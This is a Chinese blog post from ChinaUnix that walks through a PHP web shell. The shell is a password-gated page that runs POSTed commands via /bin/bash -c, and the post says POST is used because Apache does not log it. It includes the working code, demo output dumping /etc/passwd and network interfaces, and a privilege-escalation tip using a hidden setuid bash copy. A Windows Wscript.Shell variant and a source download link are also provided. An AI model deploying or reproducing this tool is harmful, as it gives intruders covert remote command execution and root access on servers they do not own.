Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1139425
  • 博文数量: 53
  • 博客积分: 10025
  • 博客等级: 上将
  • 技术积分: 1640
  • 用 户 组: 普通用户
  • 注册时间: 2007-06-15 17:05
文章分类

全部博文(53)

文章存档

2011年(1)

2010年(3)

2009年(25)

2008年(24)

我的朋友

分类:

2008-08-21 15:54:11

    在类UNIX操作系统服务器,比如UNIX、GNU/Linux、BSD等,php有`command`(键盘中,数字键1前面的按键)功能,即来实现shell语句的执行。

    该 php的 shell页面也是,利用 POST提交要执行的 shell语句(POST数据,在apache等 Web Server的日志中将不被记录),用`/bin/bash -c $shell`来执行shell,然后返回运行结果。

    程序中,还加入了session的判断,来验证和限制当前使用者。

    程序开头定义了正确的账户密码,为

$c_username = 'dorainm';
$c_password = 'dorainm@gmail.com';


    session_check 函数是用于检测 session的。

function session_check()
{
    global $c_username;
    global $c_password;

    if( $_SESSION['username']==$c_username &&
     $_SESSION['password']==$c_password )
    {
        return true;
    }
    else
    {
        return false;
    }
}


    当判断 session不正确,那么程序将销毁 session,返回登陆验证页面,session_distory函数实现session的销毁的。

function session_distory()
{
    $_SESSION = array();
    session_unset();
    session_destroy();
}



    好,session验证就介绍到这里,看shell提交页面的代码。

<form method="POST">
command: <input class="txt" name="cmd" value=""> <input class="btn" type="submit" value="run">
</form>


    然后程序通过POST捕捉提交的语句,然后执行,反馈

    if( isset( $_POST['cmd'] ) )
    {
        $cmd = $_POST['cmd'];
        
        $cmd = strip_tags($cmd);
        $cmd = trim($cmd);
        //$cmd = htmlspecialchars($cmd);
        $cmd = addslashes($cmd);
    }
    ... ...
     if( $cmd )
     {
         $result = `$shell -c "$cmd"`;
        
         if( $result )
         {
             echo "

";
             echo $result;
             echo "
";
         }
     }


    下面是运行效果

command:

apache


    提权功能大家自己想,比如复制了一个u+s的 shell叫做 /bin/.bash,我们可以让程序以`/bin/.bash -c $shell`来运行,就有 root权限了。
    再看 /etc/passwd。

command:

root:x:0:0:root:/root:/bin/bash
dorainm:x:1000:1000::/home/dorainm:/bin/bash
vsftpd:x:47:47::/mnt/vsftp:/bin/false
mysql:x:80:80::/usr/local/mysql/var/mysql:/bin/false
apache:x:50:50::/var/www/htdocs:/bin/false


    lfs系统,很少的用户,嘻嘻~
    再看看网络情况

command:

eth0      Link encap:Ethernet  HWaddr 00:04:61:5C:E6:2D  
inet addr:10.0.1.44 Bcast:10.0.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:13829844 errors:0 dropped:0 overruns:0 frame:0
TX packets:12775238 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1863075495 (1776.7 Mb) TX bytes:632811433 (603.4 Mb)
Interrupt:16 Base address:0xa000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:2990 errors:0 dropped:0 overruns:0 frame:0
TX packets:2990 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1148263 (1.0 Mb) TX bytes:1148263 (1.0 Mb)

vmnet1 Link encap:Ethernet HWaddr 00:50:56:C0:00:01
inet addr:192.168.152.1 Bcast:192.168.152.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

vmnet8 Link encap:Ethernet HWaddr 00:50:56:C0:00:08
inet addr:172.16.144.1 Bcast:172.16.144.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)


    下面是源代码
文件:shell.php.tar.gz
大小:1KB
下载:下载


ps:
    如果是win32操作系统的服务器,可以用wscript来运行命令,喜欢的自己添加进去吧

<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$shell."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();

echo "

".$stroutput."
".;
?>

阅读(1841) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~